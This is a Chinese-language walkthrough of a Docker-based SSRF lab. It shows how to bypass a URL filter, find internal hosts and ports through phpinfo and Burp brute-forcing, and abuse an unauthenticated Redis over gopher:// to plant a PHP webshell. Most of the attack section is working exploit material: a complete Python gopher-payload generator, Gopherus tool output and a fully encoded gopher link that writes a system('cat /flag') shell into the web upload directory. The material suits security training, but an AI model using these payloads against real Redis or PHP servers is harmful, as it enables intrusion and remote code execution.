环境搭建
1,下载压缩包文件,上传到虚拟机解压,并进入文件目录,使用docker-compose up -d构建并运行镜像。
(这里面可能涉及docker 的镜像源或者代理的问题,导致镜像拉取不下来,可以配置代理,或者更改国内镜像源)
2.运行了镜像过后,他是用本地的8091端口映射为容器内的80端口,直接访问虚拟机的8091端口就行了。
二,分析
1,直接访问虚拟机的8091端口,页面显示源码内容,可以看到定义了curl函数,执行url的请求,但是对url的值做了过滤,不允许file://,dict://,127.0.0.1,../,localhost等字样,但是为对http://做过滤,同时下面只要有info参数就会显示phpinfo的信息,我们可以在里面获取docker”内网“中的IP地址。
根据传入的info参数,进入了phpinfo页面,可以获取到网站的服务器实际内网地址是172.18.0.3:80,下一步的思路是通过给url传入http://172.18.0.3:port可以查看该服务器主机有没有其他开发的端口,如mysql的3306之类的。
发现内网存活主机
使用phpinfo来看内网IP地址
直接用burp抓包,再自动攻击的模块中,选中端口直接从1到65535爆破,当然如果从1到65535爆破的话时间也是非常长的,可以选取一些指定的端口,就比如mysql3306,redis6379等等。
结果就是除了网站服务器本机除了80端口开放,并没有其他端口开放了,这情况下可以换个思路,有可能他的数据库等等放在内网其他主机上。
接下来尝试爆破出其他内网存活主机:如下图可以看到主机最后一位为1,2,3的长度不一样,当然172.18.0.3是网站的服务器内网地址,现在我们可以尝试爆破172.18.0.1的开放端口,和172.18.0.2的开放端口。
接下来流程还是更上面一样,爆破端口,或者用常用端口先试一下,我这边用一些常用端口测试,测试出了redis的报错信息,那就说明在内网地址为172.18.0.2的主机上存在redis数据库。
这时候就可以结合ssrf+gopher+redis进行渗透了,这里补充一下知识点:
Gopher 是一种早期的网络协议,支持发送多行文本请求,它可以构造任意TCP请求(包括redis)格式如下:
gopher://<host>:<port>/<TCP数据流>
而redis默认是没有设置密码的,如果管理员没有给他设置密码,同时又存在ssrf漏洞未严格过滤,这就导致了我们可以利用gopher协议伪造出恶意访问链接,让redis写入文件(如ssh公钥,webshell)
这里至于gopher内容如何构造,我们可以使用一款工具Gophers,这个需要python2安装https://github.com/tarunkant/Gopherus
下载好过后直接进入文件,给执行权限,安装运行即可。
可以使用gopherus --help来看帮助文档
gopherus --exploit redis命令可以构建访问并执行ridis命令的gopherus协议的链接
因为前面访问172.18.0.2的时候存在80端口,我们可以在默认路径下通过redis写webshell,我这里生成的是在默认/var/www/html路径下写的<?php phpinfo();代码,直接复制他生成的gopher协议的信息。
这里还需要将他生成的gopher协议的信息的地址更改一下,再对这个信息做一次url编码,因为生成的gopher协议信息包含%字符,在传输给服务器的时候,会先对其进行url解码,导致gopher协议内容被破坏,gopher协议的解析器识别不了这个内容。
但是发现并没有文件,所以可能这个路径下不能写文件,现在我们可以尝试爆破出其他有没有可写文件的路径
可以用在网上找一份目录字典,在burp中进行爆破,可以看到存在/var/www/html/upload目录,接下来就尝试能不能在这个目录下写文件
重新构造gopher:
直接再次访问,这时候页面再转圈圈,说明几乎成功了,正在写入
然后我们进入docker看一下
确实是写进去了,但是内容有点问题,这里我们可以写脚本生成gopher协议的内容,也可以在网上寻找脚本,重新试一次。大体思路就是这样。
方式1:使用python生成 payload
我们利用 Redis 服务器的 config set dir 和 config set dbfilename 进行 Webshell 写入。
Python 脚本生成 gopher 协议 payload,用于 SSRF 发送 Redis 命令:
import urllib
protocol="gopher://"
ip="172.22.0.2" # 运行着 redis 的内网主机 IP
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)
方式二:使用 Gopher 工具
GitHub 下载地址:Gopherus
该工具使用 Python2,生成 gopher
payload。
sudo apt update
sudo apt install python2 python2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py
# 下载并解压后运行 install.sh
./install.sh
生成paload
root@lll-virtual-machine:/home/Gopherus-master# gopherus --exploit redis
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
Ready To get SHELL
What do you want?? (ReverseShell/PHPShell): PHPShell #木马语言
Give web root location of server (default is /var/www/html): /var/www/html/upload #上传路径
Give PHP Payload (We have default PHP Shell): <?php system('cat /flag') ?> #一句话木马
Your gopher link is Ready to get PHP Shell:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.
-----------Made-by-SpyD3r-----------